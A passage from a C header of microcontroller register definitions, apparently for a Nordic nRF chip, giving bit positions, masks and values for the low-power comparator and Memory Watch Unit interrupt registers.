#define LPCOMP_REFSEL_REFSEL_Msk (0xFUL << LPCOMP_REFSEL_REFSEL_Pos) /*!< Bit mask of REFSEL field. */
#define LPCOMP_REFSEL_REFSEL_Ref1_8Vdd (0UL) /*!< VDD * 1/8 selected as reference */
#define LPCOMP_REFSEL_REFSEL_Ref2_8Vdd (1UL) /*!< VDD * 2/8 selected as reference */
#define LPCOMP_REFSEL_REFSEL_Ref3_8Vdd (2UL) /*!< VDD * 3/8 selected as reference */
#define LPCOMP_REFSEL_REFSEL_Ref4_8Vdd (3UL) /*!< VDD * 4/8 selected as reference */
#define LPCOMP_REFSEL_REFSEL_Ref5_8Vdd (4UL) /*!< VDD * 5/8 selected as reference */
#define LPCOMP_REFSEL_REFSEL_Ref6_8Vdd (5UL) /*!< VDD * 6/8 selected as reference */
#define LPCOMP_REFSEL_REFSEL_Ref7_8Vdd (6UL) /*!< VDD * 7/8 selected as reference */
#define LPCOMP_REFSEL_REFSEL_ARef (7UL) /*!< External analog reference selected */
#define LPCOMP_REFSEL_REFSEL_Ref1_16Vdd (8UL) /*!< VDD * 1/16 selected as reference */
#define LPCOMP_REFSEL_REFSEL_Ref3_16Vdd (9UL) /*!< VDD * 3/16 selected as reference */
#define LPCOMP_REFSEL_REFSEL_Ref5_16Vdd (10UL) /*!< VDD * 5/16 selected as reference */
#define LPCOMP_REFSEL_REFSEL_Ref7_16Vdd (11UL) /*!< VDD * 7/16 selected as reference */
#define LPCOMP_REFSEL_REFSEL_Ref9_16Vdd (12UL) /*!< VDD * 9/16 selected as reference */
#define LPCOMP_REFSEL_REFSEL_Ref11_16Vdd (13UL) /*!< VDD * 11/16 selected as reference */
#define LPCOMP_REFSEL_REFSEL_Ref13_16Vdd (14UL) /*!< VDD * 13/16 selected as reference */
#define LPCOMP_REFSEL_REFSEL_Ref15_16Vdd (15UL) /*!< VDD * 15/16 selected as reference */
/* Register: LPCOMP_EXTREFSEL */
/* Description: External reference select */
/* Bit 0 : External analog reference select */
#define LPCOMP_EXTREFSEL_EXTREFSEL_Pos (0UL) /*!< Position of EXTREFSEL field. */
#define LPCOMP_EXTREFSEL_EXTREFSEL_Msk (0x1UL << LPCOMP_EXTREFSEL_EXTREFSEL_Pos) /*!< Bit mask of EXTREFSEL field. */
#define LPCOMP_EXTREFSEL_EXTREFSEL_AnalogReference0 (0UL) /*!< Use AIN0 as external analog reference */
#define LPCOMP_EXTREFSEL_EXTREFSEL_AnalogReference1 (1UL) /*!< Use AIN1 as external analog reference */
/* Register: LPCOMP_ANADETECT */
/* Description: Analog detect configuration */
/* Bits 1..0 : Analog detect configuration */
#define LPCOMP_ANADETECT_ANADETECT_Pos (0UL) /*!< Position of ANADETECT field. */
#define LPCOMP_ANADETECT_ANADETECT_Msk (0x3UL << LPCOMP_ANADETECT_ANADETECT_Pos) /*!< Bit mask of ANADETECT field. */
#define LPCOMP_ANADETECT_ANADETECT_Cross (0UL) /*!< Generate ANADETECT on crossing, both upward crossing and downward crossing */
#define LPCOMP_ANADETECT_ANADETECT_Up (1UL) /*!< Generate ANADETECT on upward crossing only */
#define LPCOMP_ANADETECT_ANADETECT_Down (2UL) /*!< Generate ANADETECT on downward crossing only */
/* Register: LPCOMP_HYST */
/* Description: Comparator hysteresis enable */
/* Bit 0 : Comparator hysteresis enable */
#define LPCOMP_HYST_HYST_Pos (0UL) /*!< Position of HYST field. */
#define LPCOMP_HYST_HYST_Msk (0x1UL << LPCOMP_HYST_HYST_Pos) /*!< Bit mask of HYST field. */
#define LPCOMP_HYST_HYST_NoHyst (0UL) /*!< Comparator hysteresis disabled */
#define LPCOMP_HYST_HYST_Hyst50mV (1UL) /*!< Comparator hysteresis disabled (typ. 50 mV) */
/* Peripheral: MWU */
/* Description: Memory Watch Unit */
/* Register: MWU_INTEN */
/* Description: Enable or disable interrupt */
/* Bit 27 : Enable or disable interrupt for PREGION[1].RA event */
#define MWU_INTEN_PREGION1RA_Pos (27UL) /*!< Position of PREGION1RA field. */
#define MWU_INTEN_PREGION1RA_Msk (0x1UL << MWU_INTEN_PREGION1RA_Pos) /*!< Bit mask of PREGION1RA field. */
#define MWU_INTEN_PREGION1RA_Disabled (0UL) /*!< Disable */
#define MWU_INTEN_PREGION1RA_Enabled (1UL) /*!< Enable */
/* Bit 26 : Enable or disable interrupt for PREGION[1].WA event */
#define MWU_INTEN_PREGION1WA_Pos (26UL) /*!< Position of PREGION1WA field. */
#define MWU_INTEN_PREGION1WA_Msk (0x1UL << MWU_INTEN_PREGION1WA_Pos) /*!< Bit mask of PREGION1WA field. */
#define MWU_INTEN_PREGION1WA_Disabled (0UL) /*!< Disable */
#define MWU_INTEN_PREGION1WA_Enabled (1UL) /*!< Enable */
/* Bit 25 : Enable or disable interrupt for PREGION[0].RA event */
#define MWU_INTEN_PREGION0RA_Pos (25UL) /*!< Position of PREGION0RA field. */
#define MWU_INTEN_PREGION0RA_Msk (0x1UL << MWU_INTEN_PREGION0RA_Pos) /*!< Bit mask of PREGION0RA field. */
#define MWU_INTEN_PREGION0RA_Disabled (0UL) /*!< Disable */
#define MWU_INTEN_PREGION0RA_Enabled (1UL) /*!< Enable */
/* Bit 24 : Enable or disable interrupt for PREGION[0].WA event */
#define MWU_INTEN_PREGION0WA_Pos (24UL) /*!< Position of PREGION0WA field. */
#define MWU_INTEN_PREGION0WA_Msk (0x1UL << MWU_INTEN_PREGION0WA_Pos) /*!< Bit mask of PREGION0WA field. */
#define MWU_INTEN_PREGION0WA_Disabled (0UL) /*!< Disable */
#define MWU_INTEN_PREGION0WA_Enabled (1UL) /*!< Enable */
/* Bit 7 : Enable or disable interrupt for REGION[3].RA event */
#define MWU_INTEN_REGION3RA_Pos (7UL) /*!< Position of REGION3RA field. */
#define MWU_INTEN_REGION3RA_Msk (0x1UL << MWU_INTEN_REGION3RA_Pos) /*!< Bit mask of REGION3RA field. */
#define MWU_INTEN_REGION3RA_Disabled (0UL) /*!< Disable */
#define MWU_INTEN_REGION3RA_Enabled (1UL) /*!< Enable */
/* Bit 6 : Enable or disable interrupt for REGION[3].WA event */
#define MWU_INTEN_REGION3WA_Pos (6UL) /*!< Position of REGION3WA field. */
#define MWU_INTEN_REGION3WA_Msk (0x1UL << MWU_INTEN_REGION3WA_Pos) /*!< Bit mask of REGION3WA field. */
#define MWU_INTEN_REGION3WA_Disabled (0UL) /*!< Disable */
#define MWU_INTEN_REGION3WA_Enabled (1UL) /*!< Enable */
/* Bit 5 : Enable or disable interrupt for REGION[2].RA event */
#define MWU_INTEN_REGION2RA_Pos (5UL) /*!< Position of REGION2RA field. */
#define MWU_INTEN_REGION2RA_Msk (0x1UL << MWU_INTEN_REGION2RA_Pos) /*!< Bit mask of REGION2RA field. */
#define MWU_INTEN_REGION2RA_Disabled (0UL) /*!< Disable */
#define MWU_INTEN_REGION2RA_Enabled (1UL) /*!< Enable */
/* Bit 4 : Enable or disable interrupt for REGION[2].WA event */
#define MWU_INTEN_REGION2WA_Pos (4UL) /*!< Position of REGION2WA field. */
#define MWU_INTEN_REGION2WA_Msk (0x1UL << MWU_INTEN_REGION2WA_Pos) /*!< Bit mask of REGION2WA field. */
#define MWU_INTEN_REGION2WA_Disabled (0UL) /*!< Disable */
#define MWU_INTEN_REGION2WA_Enabled (1UL) /*!< Enable */
/* Bit 3 : Enable or disable interrupt for REGION[1].RA event */
#define MWU_INTEN_REGION1RA_Pos (3UL) /*!< Position of REGION1RA field. */
#define MWU_INTEN_REGION1RA_Msk (0x1UL << MWU_INTEN_REGION1RA_Pos) /*!< Bit mask of REGION1RA field. */
#define MWU_INTEN_REGION1RA_Disabled (0UL) /*!< Disable */
#define MWU_INTEN_REGION1RA_Enabled (1UL) /*!< Enable */
/* Bit 2 : Enable or disable interrupt for REGION[1].WA event */
#define MWU_INTEN_REGION1WA_Pos (2UL) /*!< Position of REGION1WA field. */
#define MWU_INTEN_REGION1WA_Msk (0x1UL << MWU_INTEN_REGION1WA_Pos) /*!< Bit mask of REGION1WA field. */
#define MWU_INTEN_REGION1WA_Disabled (0UL) /*!< Disable */
#define MWU_INTEN_REGION1WA_Enabled (1UL) /*!< Enable */
/* Bit 1 : Enable or disable interrupt for REGION[0].RA event */
#define MWU_INTEN_REGION0RA_Pos (1UL) /*!< Position of REGION0RA field. */
#define MWU_INTEN_REGION0RA_Msk (0x1UL << MWU_INTEN_REGION0RA_Pos) /*!< Bit mask of REGION0RA field. */
#define MWU_INTEN_REGION0RA_Disabled (0UL) /*!< Disable */
#define MWU_INTEN_REGION0RA_Enabled (1UL) /*!< Enable */
/* Bit 0 : Enable or disable interrupt for REGION[0].WA event */
#define MWU_INTEN_REGION0WA_Pos (0UL) /*!< Position of REGION0WA field. */
#define MWU_INTEN_REGION0WA_Msk (0x1UL << MWU_INTEN_REGION0WA_Pos) /*!< Bit mask of REGION0WA field. */
#define MWU_INTEN_REGION0WA_Disabled (0UL) /*!< Disable */
#define MWU_INTEN_REGION0WA_Enabled (1UL) /*!< Enable */
/* Register: MWU_INTENSET */
/* Description: Enable interrupt */
/* Bit 27 : Write '1' to Enable interrupt for PREGION[1].RA event */
#define MWU_INTENSET_PREGION1RA_Pos (27UL) /*!< Position of PREGION1RA field. */
#define MWU_INTENSET_PREGION1RA_Msk (0x1UL << MWU_INTENSET_PREGION1RA_Pos) /*!< Bit mask of PREGION1RA field. */
#define MWU_INTENSET_PREGION1RA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_INTENSET_PREGION1RA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_INTENSET_PREGION1RA_Set (1UL) /*!< Enable */
/* Bit 26 : Write '1' to Enable interrupt for PREGION[1].WA event */
#define MWU_INTENSET_PREGION1WA_Pos (26UL) /*!< Position of PREGION1WA field. */
#define MWU_INTENSET_PREGION1WA_Msk (0x1UL << MWU_INTENSET_PREGION1WA_Pos) /*!< Bit mask of PREGION1WA field. */
#define MWU_INTENSET_PREGION1WA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_INTENSET_PREGION1WA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_INTENSET_PREGION1WA_Set (1UL) /*!< Enable */
/* Bit 25 : Write '1' to Enable interrupt for PREGION[0].RA event */
#define MWU_INTENSET_PREGION0RA_Pos (25UL) /*!< Position of PREGION0RA field. */
#define MWU_INTENSET_PREGION0RA_Msk (0x1UL << MWU_INTENSET_PREGION0RA_Pos) /*!< Bit mask of PREGION0RA field. */
#define MWU_INTENSET_PREGION0RA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_INTENSET_PREGION0RA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_INTENSET_PREGION0RA_Set (1UL) /*!< Enable */
/* Bit 24 : Write '1' to Enable interrupt for PREGION[0].WA event */
#define MWU_INTENSET_PREGION0WA_Pos (24UL) /*!< Position of PREGION0WA field. */
#define MWU_INTENSET_PREGION0WA_Msk (0x1UL << MWU_INTENSET_PREGION0WA_Pos) /*!< Bit mask of PREGION0WA field. */
#define MWU_INTENSET_PREGION0WA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_INTENSET_PREGION0WA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_INTENSET_PREGION0WA_Set (1UL) /*!< Enable */
/* Bit 7 : Write '1' to Enable interrupt for REGION[3].RA event */
#define MWU_INTENSET_REGION3RA_Pos (7UL) /*!< Position of REGION3RA field. */
#define MWU_INTENSET_REGION3RA_Msk (0x1UL << MWU_INTENSET_REGION3RA_Pos) /*!< Bit mask of REGION3RA field. */
#define MWU_INTENSET_REGION3RA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_INTENSET_REGION3RA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_INTENSET_REGION3RA_Set (1UL) /*!< Enable */
/* Bit 6 : Write '1' to Enable interrupt for REGION[3].WA event */
#define MWU_INTENSET_REGION3WA_Pos (6UL) /*!< Position of REGION3WA field. */
#define MWU_INTENSET_REGION3WA_Msk (0x1UL << MWU_INTENSET_REGION3WA_Pos) /*!< Bit mask of REGION3WA field. */
#define MWU_INTENSET_REGION3WA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_INTENSET_REGION3WA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_INTENSET_REGION3WA_Set (1UL) /*!< Enable */
/* Bit 5 : Write '1' to Enable interrupt for REGION[2].RA event */
#define MWU_INTENSET_REGION2RA_Pos (5UL) /*!< Position of REGION2RA field. */
#define MWU_INTENSET_REGION2RA_Msk (0x1UL << MWU_INTENSET_REGION2RA_Pos) /*!< Bit mask of REGION2RA field. */
#define MWU_INTENSET_REGION2RA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_INTENSET_REGION2RA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_INTENSET_REGION2RA_Set (1UL) /*!< Enable */
/* Bit 4 : Write '1' to Enable interrupt for REGION[2].WA event */
#define MWU_INTENSET_REGION2WA_Pos (4UL) /*!< Position of REGION2WA field. */
#define MWU_INTENSET_REGION2WA_Msk (0x1UL << MWU_INTENSET_REGION2WA_Pos) /*!< Bit mask of REGION2WA field. */
#define MWU_INTENSET_REGION2WA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_INTENSET_REGION2WA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_INTENSET_REGION2WA_Set (1UL) /*!< Enable */
/* Bit 3 : Write '1' to Enable interrupt for REGION[1].RA event */
#define MWU_INTENSET_REGION1RA_Pos (3UL) /*!< Position of REGION1RA field. */
#define MWU_INTENSET_REGION1RA_Msk (0x1UL << MWU_INTENSET_REGION1RA_Pos) /*!< Bit mask of REGION1RA field. */
#define MWU_INTENSET_REGION1RA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_INTENSET_REGION1RA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_INTENSET_REGION1RA_Set (1UL) /*!< Enable */
/* Bit 2 : Write '1' to Enable interrupt for REGION[1].WA event */
#define MWU_INTENSET_REGION1WA_Pos (2UL) /*!< Position of REGION1WA field. */
#define MWU_INTENSET_REGION1WA_Msk (0x1UL << MWU_INTENSET_REGION1WA_Pos) /*!< Bit mask of REGION1WA field. */
#define MWU_INTENSET_REGION1WA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_INTENSET_REGION1WA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_INTENSET_REGION1WA_Set (1UL) /*!< Enable */
/* Bit 1 : Write '1' to Enable interrupt for REGION[0].RA event */
#define MWU_INTENSET_REGION0RA_Pos (1UL) /*!< Position of REGION0RA field. */
#define MWU_INTENSET_REGION0RA_Msk (0x1UL << MWU_INTENSET_REGION0RA_Pos) /*!< Bit mask of REGION0RA field. */
#define MWU_INTENSET_REGION0RA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_INTENSET_REGION0RA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_INTENSET_REGION0RA_Set (1UL) /*!< Enable */
/* Bit 0 : Write '1' to Enable interrupt for REGION[0].WA event */
#define MWU_INTENSET_REGION0WA_Pos (0UL) /*!< Position of REGION0WA field. */
#define MWU_INTENSET_REGION0WA_Msk (0x1UL << MWU_INTENSET_REGION0WA_Pos) /*!< Bit mask of REGION0WA field. */
#define MWU_INTENSET_REGION0WA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_INTENSET_REGION0WA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_INTENSET_REGION0WA_Set (1UL) /*!< Enable */
/* Register: MWU_INTENCLR */
/* Description: Disable interrupt */
/* Bit 27 : Write '1' to Disable interrupt for PREGION[1].RA event */
#define MWU_INTENCLR_PREGION1RA_Pos (27UL) /*!< Position of PREGION1RA field. */
#define MWU_INTENCLR_PREGION1RA_Msk (0x1UL << MWU_INTENCLR_PREGION1RA_Pos) /*!< Bit mask of PREGION1RA field. */
#define MWU_INTENCLR_PREGION1RA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_INTENCLR_PREGION1RA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_INTENCLR_PREGION1RA_Clear (1UL) /*!< Disable */
/* Bit 26 : Write '1' to Disable interrupt for PREGION[1].WA event */
#define MWU_INTENCLR_PREGION1WA_Pos (26UL) /*!< Position of PREGION1WA field. */
#define MWU_INTENCLR_PREGION1WA_Msk (0x1UL << MWU_INTENCLR_PREGION1WA_Pos) /*!< Bit mask of PREGION1WA field. */
#define MWU_INTENCLR_PREGION1WA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_INTENCLR_PREGION1WA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_INTENCLR_PREGION1WA_Clear (1UL) /*!< Disable */
/* Bit 25 : Write '1' to Disable interrupt for PREGION[0].RA event */
#define MWU_INTENCLR_PREGION0RA_Pos (25UL) /*!< Position of PREGION0RA field. */
#define MWU_INTENCLR_PREGION0RA_Msk (0x1UL << MWU_INTENCLR_PREGION0RA_Pos) /*!< Bit mask of PREGION0RA field. */
#define MWU_INTENCLR_PREGION0RA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_INTENCLR_PREGION0RA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_INTENCLR_PREGION0RA_Clear (1UL) /*!< Disable */
/* Bit 24 : Write '1' to Disable interrupt for PREGION[0].WA event */
#define MWU_INTENCLR_PREGION0WA_Pos (24UL) /*!< Position of PREGION0WA field. */
#define MWU_INTENCLR_PREGION0WA_Msk (0x1UL << MWU_INTENCLR_PREGION0WA_Pos) /*!< Bit mask of PREGION0WA field. */
#define MWU_INTENCLR_PREGION0WA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_INTENCLR_PREGION0WA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_INTENCLR_PREGION0WA_Clear (1UL) /*!< Disable */
/* Bit 7 : Write '1' to Disable interrupt for REGION[3].RA event */
#define MWU_INTENCLR_REGION3RA_Pos (7UL) /*!< Position of REGION3RA field. */
#define MWU_INTENCLR_REGION3RA_Msk (0x1UL << MWU_INTENCLR_REGION3RA_Pos) /*!< Bit mask of REGION3RA field. */
#define MWU_INTENCLR_REGION3RA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_INTENCLR_REGION3RA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_INTENCLR_REGION3RA_Clear (1UL) /*!< Disable */
/* Bit 6 : Write '1' to Disable interrupt for REGION[3].WA event */
#define MWU_INTENCLR_REGION3WA_Pos (6UL) /*!< Position of REGION3WA field. */
#define MWU_INTENCLR_REGION3WA_Msk (0x1UL << MWU_INTENCLR_REGION3WA_Pos) /*!< Bit mask of REGION3WA field. */
#define MWU_INTENCLR_REGION3WA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_INTENCLR_REGION3WA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_INTENCLR_REGION3WA_Clear (1UL) /*!< Disable */
/* Bit 5 : Write '1' to Disable interrupt for REGION[2].RA event */
#define MWU_INTENCLR_REGION2RA_Pos (5UL) /*!< Position of REGION2RA field. */
#define MWU_INTENCLR_REGION2RA_Msk (0x1UL << MWU_INTENCLR_REGION2RA_Pos) /*!< Bit mask of REGION2RA field. */
#define MWU_INTENCLR_REGION2RA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_INTENCLR_REGION2RA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_INTENCLR_REGION2RA_Clear (1UL) /*!< Disable */
/* Bit 4 : Write '1' to Disable interrupt for REGION[2].WA event */
#define MWU_INTENCLR_REGION2WA_Pos (4UL) /*!< Position of REGION2WA field. */
#define MWU_INTENCLR_REGION2WA_Msk (0x1UL << MWU_INTENCLR_REGION2WA_Pos) /*!< Bit mask of REGION2WA field. */
#define MWU_INTENCLR_REGION2WA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_INTENCLR_REGION2WA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_INTENCLR_REGION2WA_Clear (1UL) /*!< Disable */
/* Bit 3 : Write '1' to Disable interrupt for REGION[1].RA event */
#define MWU_INTENCLR_REGION1RA_Pos (3UL) /*!< Position of REGION1RA field. */
#define MWU_INTENCLR_REGION1RA_Msk (0x1UL << MWU_INTENCLR_REGION1RA_Pos) /*!< Bit mask of REGION1RA field. */
#define MWU_INTENCLR_REGION1RA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_INTENCLR_REGION1RA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_INTENCLR_REGION1RA_Clear (1UL) /*!< Disable */
/* Bit 2 : Write '1' to Disable interrupt for REGION[1].WA event */
#define MWU_INTENCLR_REGION1WA_Pos (2UL) /*!< Position of REGION1WA field. */
#define MWU_INTENCLR_REGION1WA_Msk (0x1UL << MWU_INTENCLR_REGION1WA_Pos) /*!< Bit mask of REGION1WA field. */
#define MWU_INTENCLR_REGION1WA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_INTENCLR_REGION1WA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_INTENCLR_REGION1WA_Clear (1UL) /*!< Disable */
/* Bit 1 : Write '1' to Disable interrupt for REGION[0].RA event */
#define MWU_INTENCLR_REGION0RA_Pos (1UL) /*!< Position of REGION0RA field. */
#define MWU_INTENCLR_REGION0RA_Msk (0x1UL << MWU_INTENCLR_REGION0RA_Pos) /*!< Bit mask of REGION0RA field. */
#define MWU_INTENCLR_REGION0RA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_INTENCLR_REGION0RA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_INTENCLR_REGION0RA_Clear (1UL) /*!< Disable */
/* Bit 0 : Write '1' to Disable interrupt for REGION[0].WA event */
#define MWU_INTENCLR_REGION0WA_Pos (0UL) /*!< Position of REGION0WA field. */
#define MWU_INTENCLR_REGION0WA_Msk (0x1UL << MWU_INTENCLR_REGION0WA_Pos) /*!< Bit mask of REGION0WA field. */
#define MWU_INTENCLR_REGION0WA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_INTENCLR_REGION0WA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_INTENCLR_REGION0WA_Clear (1UL) /*!< Disable */
/* Register: MWU_NMIEN */
/* Description: Enable or disable non-maskable interrupt */
/* Bit 27 : Enable or disable non-maskable interrupt for PREGION[1].RA event */
#define MWU_NMIEN_PREGION1RA_Pos (27UL) /*!< Position of PREGION1RA field. */
#define MWU_NMIEN_PREGION1RA_Msk (0x1UL << MWU_NMIEN_PREGION1RA_Pos) /*!< Bit mask of PREGION1RA field. */
#define MWU_NMIEN_PREGION1RA_Disabled (0UL) /*!< Disable */
#define MWU_NMIEN_PREGION1RA_Enabled (1UL) /*!< Enable */
/* Bit 26 : Enable or disable non-maskable interrupt for PREGION[1].WA event */
#define MWU_NMIEN_PREGION1WA_Pos (26UL) /*!< Position of PREGION1WA field. */
#define MWU_NMIEN_PREGION1WA_Msk (0x1UL << MWU_NMIEN_PREGION1WA_Pos) /*!< Bit mask of PREGION1WA field. */
#define MWU_NMIEN_PREGION1WA_Disabled (0UL) /*!< Disable */
#define MWU_NMIEN_PREGION1WA_Enabled (1UL) /*!< Enable */
/* Bit 25 : Enable or disable non-maskable interrupt for PREGION[0].RA event */
#define MWU_NMIEN_PREGION0RA_Pos (25UL) /*!< Position of PREGION0RA field. */
#define MWU_NMIEN_PREGION0RA_Msk (0x1UL << MWU_NMIEN_PREGION0RA_Pos) /*!< Bit mask of PREGION0RA field. */
#define MWU_NMIEN_PREGION0RA_Disabled (0UL) /*!< Disable */
#define MWU_NMIEN_PREGION0RA_Enabled (1UL) /*!< Enable */
/* Bit 24 : Enable or disable non-maskable interrupt for PREGION[0].WA event */
#define MWU_NMIEN_PREGION0WA_Pos (24UL) /*!< Position of PREGION0WA field. */
#define MWU_NMIEN_PREGION0WA_Msk (0x1UL << MWU_NMIEN_PREGION0WA_Pos) /*!< Bit mask of PREGION0WA field. */
#define MWU_NMIEN_PREGION0WA_Disabled (0UL) /*!< Disable */
#define MWU_NMIEN_PREGION0WA_Enabled (1UL) /*!< Enable */
/* Bit 7 : Enable or disable non-maskable interrupt for REGION[3].RA event */
#define MWU_NMIEN_REGION3RA_Pos (7UL) /*!< Position of REGION3RA field. */
#define MWU_NMIEN_REGION3RA_Msk (0x1UL << MWU_NMIEN_REGION3RA_Pos) /*!< Bit mask of REGION3RA field. */
#define MWU_NMIEN_REGION3RA_Disabled (0UL) /*!< Disable */
#define MWU_NMIEN_REGION3RA_Enabled (1UL) /*!< Enable */
/* Bit 6 : Enable or disable non-maskable interrupt for REGION[3].WA event */
#define MWU_NMIEN_REGION3WA_Pos (6UL) /*!< Position of REGION3WA field. */
#define MWU_NMIEN_REGION3WA_Msk (0x1UL << MWU_NMIEN_REGION3WA_Pos) /*!< Bit mask of REGION3WA field. */
#define MWU_NMIEN_REGION3WA_Disabled (0UL) /*!< Disable */
#define MWU_NMIEN_REGION3WA_Enabled (1UL) /*!< Enable */
/* Bit 5 : Enable or disable non-maskable interrupt for REGION[2].RA event */
#define MWU_NMIEN_REGION2RA_Pos (5UL) /*!< Position of REGION2RA field. */
#define MWU_NMIEN_REGION2RA_Msk (0x1UL << MWU_NMIEN_REGION2RA_Pos) /*!< Bit mask of REGION2RA field. */
#define MWU_NMIEN_REGION2RA_Disabled (0UL) /*!< Disable */
#define MWU_NMIEN_REGION2RA_Enabled (1UL) /*!< Enable */
/* Bit 4 : Enable or disable non-maskable interrupt for REGION[2].WA event */
#define MWU_NMIEN_REGION2WA_Pos (4UL) /*!< Position of REGION2WA field. */
#define MWU_NMIEN_REGION2WA_Msk (0x1UL << MWU_NMIEN_REGION2WA_Pos) /*!< Bit mask of REGION2WA field. */
#define MWU_NMIEN_REGION2WA_Disabled (0UL) /*!< Disable */
#define MWU_NMIEN_REGION2WA_Enabled (1UL) /*!< Enable */
/* Bit 3 : Enable or disable non-maskable interrupt for REGION[1].RA event */
#define MWU_NMIEN_REGION1RA_Pos (3UL) /*!< Position of REGION1RA field. */
#define MWU_NMIEN_REGION1RA_Msk (0x1UL << MWU_NMIEN_REGION1RA_Pos) /*!< Bit mask of REGION1RA field. */
#define MWU_NMIEN_REGION1RA_Disabled (0UL) /*!< Disable */
#define MWU_NMIEN_REGION1RA_Enabled (1UL) /*!< Enable */
/* Bit 2 : Enable or disable non-maskable interrupt for REGION[1].WA event */
#define MWU_NMIEN_REGION1WA_Pos (2UL) /*!< Position of REGION1WA field. */
#define MWU_NMIEN_REGION1WA_Msk (0x1UL << MWU_NMIEN_REGION1WA_Pos) /*!< Bit mask of REGION1WA field. */
#define MWU_NMIEN_REGION1WA_Disabled (0UL) /*!< Disable */
#define MWU_NMIEN_REGION1WA_Enabled (1UL) /*!< Enable */
/* Bit 1 : Enable or disable non-maskable interrupt for REGION[0].RA event */
#define MWU_NMIEN_REGION0RA_Pos (1UL) /*!< Position of REGION0RA field. */
#define MWU_NMIEN_REGION0RA_Msk (0x1UL << MWU_NMIEN_REGION0RA_Pos) /*!< Bit mask of REGION0RA field. */
#define MWU_NMIEN_REGION0RA_Disabled (0UL) /*!< Disable */
#define MWU_NMIEN_REGION0RA_Enabled (1UL) /*!< Enable */
/* Bit 0 : Enable or disable non-maskable interrupt for REGION[0].WA event */
#define MWU_NMIEN_REGION0WA_Pos (0UL) /*!< Position of REGION0WA field. */
#define MWU_NMIEN_REGION0WA_Msk (0x1UL << MWU_NMIEN_REGION0WA_Pos) /*!< Bit mask of REGION0WA field. */
#define MWU_NMIEN_REGION0WA_Disabled (0UL) /*!< Disable */
#define MWU_NMIEN_REGION0WA_Enabled (1UL) /*!< Enable */
/* Register: MWU_NMIENSET */
/* Description: Enable non-maskable interrupt */
/* Bit 27 : Write '1' to Enable non-maskable interrupt for PREGION[1].RA event */
#define MWU_NMIENSET_PREGION1RA_Pos (27UL) /*!< Position of PREGION1RA field. */
#define MWU_NMIENSET_PREGION1RA_Msk (0x1UL << MWU_NMIENSET_PREGION1RA_Pos) /*!< Bit mask of PREGION1RA field. */
#define MWU_NMIENSET_PREGION1RA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_NMIENSET_PREGION1RA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_NMIENSET_PREGION1RA_Set (1UL) /*!< Enable */
/* Bit 26 : Write '1' to Enable non-maskable interrupt for PREGION[1].WA event */
#define MWU_NMIENSET_PREGION1WA_Pos (26UL) /*!< Position of PREGION1WA field. */
#define MWU_NMIENSET_PREGION1WA_Msk (0x1UL << MWU_NMIENSET_PREGION1WA_Pos) /*!< Bit mask of PREGION1WA field. */
#define MWU_NMIENSET_PREGION1WA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_NMIENSET_PREGION1WA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_NMIENSET_PREGION1WA_Set (1UL) /*!< Enable */
/* Bit 25 : Write '1' to Enable non-maskable interrupt for PREGION[0].RA event */
#define MWU_NMIENSET_PREGION0RA_Pos (25UL) /*!< Position of PREGION0RA field. */
#define MWU_NMIENSET_PREGION0RA_Msk (0x1UL << MWU_NMIENSET_PREGION0RA_Pos) /*!< Bit mask of PREGION0RA field. */
#define MWU_NMIENSET_PREGION0RA_Disabled (0UL) /*!< Read: Disabled */
#define MWU_NMIENSET_PREGION0RA_Enabled (1UL) /*!< Read: Enabled */
#define MWU_NMIENSET_PREGION0RA_Set (1UL) /*!< Enable */
/* Bit 24 : Write '1' to Enable non-maskable interrupt for PREGION[0].WA event */
#define MWU_NMIENSET_PREGION0WA_Pos (24UL) /*!< Position of PREGION0WA field. */
#define MWU_NMIENSET_PREGION0WA_Msk (0x1UL << MWU_NMIENSET_PREGION0WA_Pos) /*!< Bit mask of PREGION0WA field. */
#define MWU_NMIENSET_PREGION0WA_Disabled (0UL) /*!< Read: Disabled */
